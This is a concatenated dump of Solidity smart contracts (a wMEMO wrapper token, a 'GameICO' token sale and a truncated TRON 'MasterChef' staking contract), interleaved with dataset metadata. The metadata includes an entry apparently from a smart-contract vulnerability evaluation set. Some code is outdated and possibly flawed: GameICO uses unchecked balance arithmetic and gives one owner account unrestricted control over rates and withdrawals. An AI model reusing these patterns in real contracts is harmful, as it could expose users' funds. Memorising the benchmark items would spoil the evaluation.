// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMEMO {
function index() external view returns (uint);
}
contract wMEMO is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable MEMO;
constructor(address _MEMO) ERC20('Wrapped Token', 'wToken') {
require(_MEMO != address(0));
MEMO = _MEMO;
initializer = msg.sender;
}
address public initializer;
function initialize(string memory name_, string memory symbol_) external{
require(msg.sender == initializer,"not allow");
_name = name_;
_symbol = symbol_;
initializer = address(0);
}
function wrap(uint _amount) external returns (uint) {
IERC20(MEMO).transferFrom(msg.sender, address(this), _amount);
uint value = MEMOTowMEMO(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wMEMOToMEMO(_amount);
IERC20(MEMO).transfer(msg.sender, value);
return value;
}
function wMEMOToMEMO(uint _amount) public view returns (uint) {
return _amount.mul(IMEMO(MEMO).index()).div(10 ** decimals());
}
function MEMOTowMEMO(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IMEMO(MEMO).index());
}
}
| 120,979 | 10,333 |
8c0af636294e6a5fe232413490c8ec51c3801d4602073e294c9b112d3a5d74a1
| 14,466 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb70835d7822ebb9426b56543e391846c107bd32c.sol
| 3,572 | 13,650 |
pragma solidity ^0.4.8;
// @address 0xb70835d7822ebb9426b56543e391846c107bd32c
// @multisig
// The implementation for the Game ICO smart contract was inspired by
// the Ethereum token creation tutorial, the FirstBlood token, and the BAT token.
// compiler: 0.4.17+commit.bdeb9e52
///////////////
// SAFE MATH //
///////////////
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
}
////////////////////
// STANDARD TOKEN //
////////////////////
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) balances;
//pre ico locked balance
mapping (address => uint256) lockedBalances;
mapping (address => uint256) initLockedBalances;
mapping (address => mapping (address => uint256)) allowed;
bool allowTransfer = false;
function transfer(address _to, uint256 _value) public returns (bool success){
if (balances[msg.sender] >= _value && _value > 0 && allowTransfer) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && allowTransfer) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant public returns (uint256 balance){
return balances[_owner] + lockedBalances[_owner];
}
function availableBalanceOf(address _owner) constant public returns (uint256 balance){
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining){
return allowed[_owner][_spender];
}
}
/////////////////////
//GAME.COM ICO TOKEN//
/////////////////////
contract GameICO is StandardToken, SafeMath {
// Descriptive properties
string public constant name = "Game.com Token";
string public constant symbol = "GTC";
uint256 public constant decimals = 18;
string public version = "1.0";
// Account for ether proceed.
address public etherProceedsAccount = 0x0;
address public multiWallet = 0x0;
//owners
mapping (address => bool) public isOwner;
address[] public owners;
// These params specify the start, end, min, and max of the sale.
bool public isFinalized;
uint256 public window0TotalSupply = 0;
uint256 public window1TotalSupply = 0;
uint256 public window2TotalSupply = 0;
uint256 public window3TotalSupply = 0;
uint256 public window0StartTime = 0;
uint256 public window0EndTime = 0;
uint256 public window1StartTime = 0;
uint256 public window1EndTime = 0;
uint256 public window2StartTime = 0;
uint256 public window2EndTime = 0;
uint256 public window3StartTime = 0;
uint256 public window3EndTime = 0;
// setting the capacity of every part of ico
uint256 public preservedTokens = 1300000000 * 10**decimals;
uint256 public window0TokenCreationCap = 200000000 * 10**decimals;
uint256 public window1TokenCreationCap = 200000000 * 10**decimals;
uint256 public window2TokenCreationCap = 300000000 * 10**decimals;
uint256 public window3TokenCreationCap = 0 * 10**decimals;
// Setting the exchange rate for the ICO.
uint256 public window0TokenExchangeRate = 5000;
uint256 public window1TokenExchangeRate = 4000;
uint256 public window2TokenExchangeRate = 3000;
uint256 public window3TokenExchangeRate = 0;
uint256 public preICOLimit = 0;
bool public instantTransfer = false;
// Events for logging refunds and token creation.
event CreateGameIco(address indexed _to, uint256 _value);
event PreICOTokenPushed(address indexed _buyer, uint256 _amount);
event UnlockBalance(address indexed _owner, uint256 _amount);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
// constructor
function GameICO() public
{
totalSupply = 2000000000 * 10**decimals;
isFinalized = false;
etherProceedsAccount = msg.sender;
}
function adjustTime(uint256 _window0StartTime, uint256 _window0EndTime,
uint256 _window1StartTime, uint256 _window1EndTime,
uint256 _window2StartTime, uint256 _window2EndTime)
public{
require(msg.sender == etherProceedsAccount);
window0StartTime = _window0StartTime;
window0EndTime = _window0EndTime;
window1StartTime = _window1StartTime;
window1EndTime = _window1EndTime;
window2StartTime = _window2StartTime;
window2EndTime = _window2EndTime;
}
function adjustSupply(uint256 _window0TotalSupply,
uint256 _window1TotalSupply,
uint256 _window2TotalSupply)
public{
require(msg.sender == etherProceedsAccount);
window0TotalSupply = _window0TotalSupply * 10**decimals;
window1TotalSupply = _window1TotalSupply * 10**decimals;
window2TotalSupply = _window2TotalSupply * 10**decimals;
}
function adjustCap(uint256 _preservedTokens,
uint256 _window0TokenCreationCap,
uint256 _window1TokenCreationCap,
uint256 _window2TokenCreationCap)
public{
require(msg.sender == etherProceedsAccount);
preservedTokens = _preservedTokens * 10**decimals;
window0TokenCreationCap = _window0TokenCreationCap * 10**decimals;
window1TokenCreationCap = _window1TokenCreationCap * 10**decimals;
window2TokenCreationCap = _window2TokenCreationCap * 10**decimals;
}
function adjustRate(uint256 _window0TokenExchangeRate,
uint256 _window1TokenExchangeRate,
uint256 _window2TokenExchangeRate)
public{
require(msg.sender == etherProceedsAccount);
window0TokenExchangeRate = _window0TokenExchangeRate;
window1TokenExchangeRate = _window1TokenExchangeRate;
window2TokenExchangeRate = _window2TokenExchangeRate;
}
function setProceedsAccount(address _newEtherProceedsAccount)
public{
require(msg.sender == etherProceedsAccount);
etherProceedsAccount = _newEtherProceedsAccount;
}
function setMultiWallet(address _newWallet)
public{
require(msg.sender == etherProceedsAccount);
multiWallet = _newWallet;
}
function setPreICOLimit(uint256 _preICOLimit)
public{
require(msg.sender == etherProceedsAccount);
preICOLimit = _preICOLimit;
}
function setInstantTransfer(bool _instantTransfer)
public{
require(msg.sender == etherProceedsAccount);
instantTransfer = _instantTransfer;
}
function setAllowTransfer(bool _allowTransfer)
public{
require(msg.sender == etherProceedsAccount);
allowTransfer = _allowTransfer;
}
function addOwner(address owner)
public{
require(msg.sender == etherProceedsAccount);
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public{
require(msg.sender == etherProceedsAccount);
isOwner[owner] = false;
OwnerRemoval(owner);
}
function preICOPush(address buyer, uint256 amount)
public{
require(msg.sender == etherProceedsAccount);
uint256 tokens = 0;
uint256 checkedSupply = 0;
checkedSupply = safeAdd(window0TotalSupply, amount);
require(window0TokenCreationCap >= checkedSupply);
assignLockedBalance(buyer, amount);
window0TotalSupply = checkedSupply;
PreICOTokenPushed(buyer, amount);
}
function lockedBalanceOf(address _owner) constant public returns (uint256 balance) {
return lockedBalances[_owner];
}
function initLockedBalanceOf(address _owner) constant public returns (uint256 balance) {
return initLockedBalances[_owner];
}
function unlockBalance(address _owner, uint256 prob)
public
ownerExists(msg.sender)
returns (bool){
uint256 shouldUnlockedBalance = 0;
shouldUnlockedBalance = initLockedBalances[_owner] * prob / 100;
if(shouldUnlockedBalance > lockedBalances[_owner]){
shouldUnlockedBalance = lockedBalances[_owner];
}
balances[_owner] += shouldUnlockedBalance;
lockedBalances[_owner] -= shouldUnlockedBalance;
UnlockBalance(_owner, shouldUnlockedBalance);
return true;
}
function () payable public{
create();
}
function create() internal{
require(!isFinalized);
require(msg.value >= 0.01 ether);
uint256 tokens = 0;
uint256 checkedSupply = 0;
if(window0StartTime != 0 && window0EndTime != 0 && time() >= window0StartTime && time() <= window0EndTime){
if(preICOLimit > 0){
require(msg.value >= preICOLimit);
}
tokens = safeMult(msg.value, window0TokenExchangeRate);
checkedSupply = safeAdd(window0TotalSupply, tokens);
require(window0TokenCreationCap >= checkedSupply);
assignLockedBalance(msg.sender, tokens);
window0TotalSupply = checkedSupply;
if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value);
CreateGameIco(msg.sender, tokens);
}else if(window1StartTime != 0 && window1EndTime!= 0 && time() >= window1StartTime && time() <= window1EndTime){
tokens = safeMult(msg.value, window1TokenExchangeRate);
checkedSupply = safeAdd(window1TotalSupply, tokens);
require(window1TokenCreationCap >= checkedSupply);
balances[msg.sender] += tokens;
window1TotalSupply = checkedSupply;
if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value);
CreateGameIco(msg.sender, tokens);
}else if(window2StartTime != 0 && window2EndTime != 0 && time() >= window2StartTime && time() <= window2EndTime){
tokens = safeMult(msg.value, window2TokenExchangeRate);
checkedSupply = safeAdd(window2TotalSupply, tokens);
require(window2TokenCreationCap >= checkedSupply);
balances[msg.sender] += tokens;
window2TotalSupply = checkedSupply;
if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value);
CreateGameIco(msg.sender, tokens);
}else{
require(false);
}
}
function time() internal returns (uint) {
return block.timestamp;
}
function today(uint startTime) internal returns (uint) {
return dayFor(time(), startTime);
}
function dayFor(uint timestamp, uint startTime) internal returns (uint) {
return timestamp < startTime ? 0 : safeSubtract(timestamp, startTime) / 24 hours + 1;
}
function withDraw(uint256 _value) public{
require(msg.sender == etherProceedsAccount);
if(multiWallet != 0x0){
multiWallet.transfer(_value);
}else{
etherProceedsAccount.transfer(_value);
}
}
function finalize() public{
require(!isFinalized);
require(msg.sender == etherProceedsAccount);
isFinalized = true;
if(multiWallet != 0x0){
assignLockedBalance(multiWallet, totalSupply- window0TotalSupply- window1TotalSupply - window2TotalSupply);
if(this.balance > 0) multiWallet.transfer(this.balance);
}else{
assignLockedBalance(etherProceedsAccount, totalSupply- window0TotalSupply- window1TotalSupply - window2TotalSupply);
if(this.balance > 0) etherProceedsAccount.transfer(this.balance);
}
}
function supply() constant public returns (uint256){
return window0TotalSupply + window1TotalSupply + window2TotalSupply;
}
function assignLockedBalance(address _owner, uint256 val) private{
initLockedBalances[_owner] += val;
lockedBalances[_owner] += val;
}
}
| 208,763 | 10,334 |
63716d295d6d6bd4fa1159c2694d128a7c279bfa04209124717327b1a564316b
| 28,254 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSPFFT86T8S7Wo7dFnu8VN2BwhEswVKmqX_MasterChef.sol
| 4,673 | 18,206 |
//SourceUnit: MasterChef.sol.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface RewardToken{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external; // owner of token contract and this
function burn(uint256 amount) external;
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor(){
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender,
"You don't have permission to unlock");
require(block.timestamp > _lockTime, "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// MasterChef was the master of dex. He now governs over dex. He can make dex and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once dex is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of dex
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accPicklePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accPicklePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. dex to distribute per block.
uint256 lastRewardBlock; // Last block number that dex distribution occurs.
uint256 accTokenPerShare; // Accumulated dex per share, times 1e12. See below.
uint256 perBlockToken;
}
// 3 years = 3 * 365 days, no leap year
// block rate: 3 sec 1 new block
uint256 public duration = 365 * 3 * 28800;
RewardToken public rewardToken;
uint256 public tokenPerBlock = 317097919837645; // token mining rate, 10000 for 3 years
// tokens created per block.
uint256 public tokenPerBlockForReward;
address public controller;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
uint256 decrement = 0;
// The block number when PICKLE mining starts.
uint256 public startBlock;
uint256 public periodEndBlock;
// Events
event Recovered(address token, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user,
uint256 indexed pid,
uint256 amount);
constructor(address _reward, // rewardToken
uint256 _n // current block number plus n as start block) {
rewardToken = RewardToken(_reward);
startBlock = _n + block.number;
periodEndBlock = startBlock.add(duration);
tokenPerBlockForReward = tokenPerBlock; // no divisor for dev insurance fund
controller = msg.sender;
}
function setController(address _controller) onlyOwner external {
controller = _controller;
}
// number of LP token types supported
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate) public {
require(msg.sender == controller, "!controller");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock
? block.number
: startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken : _lpToken,
allocPoint : _allocPoint,
lastRewardBlock : lastRewardBlock,
accTokenPerShare : 0,
perBlockToken : tokenPerBlockForReward
}));
}
// Update the given pool's PICKLE allocation point. Can only be called by the owner.
function set(uint256 _pid,
uint256 _allocPoint,
bool _withUpdate) public {
require(msg.sender == controller, "!controller");
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// View function to see pending FOXs on frontend.
function pendingToken(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPicklePerShare = pool.accTokenPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = block.number - pool.lastRewardBlock;
uint256 pickleReward = multiplier
.mul(calPerBlockToken(pool.perBlockToken))
.mul(pool.allocPoint)
.div(totalAllocPoint);
accPicklePerShare = accPicklePerShare.add(pickleReward.mul(1e12).div(lpSupply));
}
return
user.amount.mul(accPicklePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function getBlockNum() public view returns (uint){
return block.number;
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = block.number - pool.lastRewardBlock;
uint256 tokenReward = multiplier
.mul(calPerBlockToken(pool.perBlockToken))
.mul(pool.allocPoint)
.div(totalAllocPoint);
pool.accTokenPerShare = pool.accTokenPerShare.add(tokenReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
if (block.number >= periodEndBlock) {
tokenPerBlock = 0; // no rewards after 3-year epoch
tokenPerBlockForReward = tokenPerBlock;
pool.perBlockToken = tokenPerBlockForReward;
periodEndBlock = block.number.add(duration);
}
}
function calPerBlockToken(uint256 perBlockTokenOfPool) public view returns (uint256){
if (perBlockTokenOfPool > tokenPerBlockForReward) {
return tokenPerBlockForReward;
} else {
return perBlockTokenOfPool;
}
}
// Deposit LP tokens to MasterChef for PICKLE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accTokenPerShare)
.div(1e12)
.sub(user.rewardDebt);
if (pending > 0) {
safeTokenTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.transferFrom(address(msg.sender),
address(this),
_amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef. user-end
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
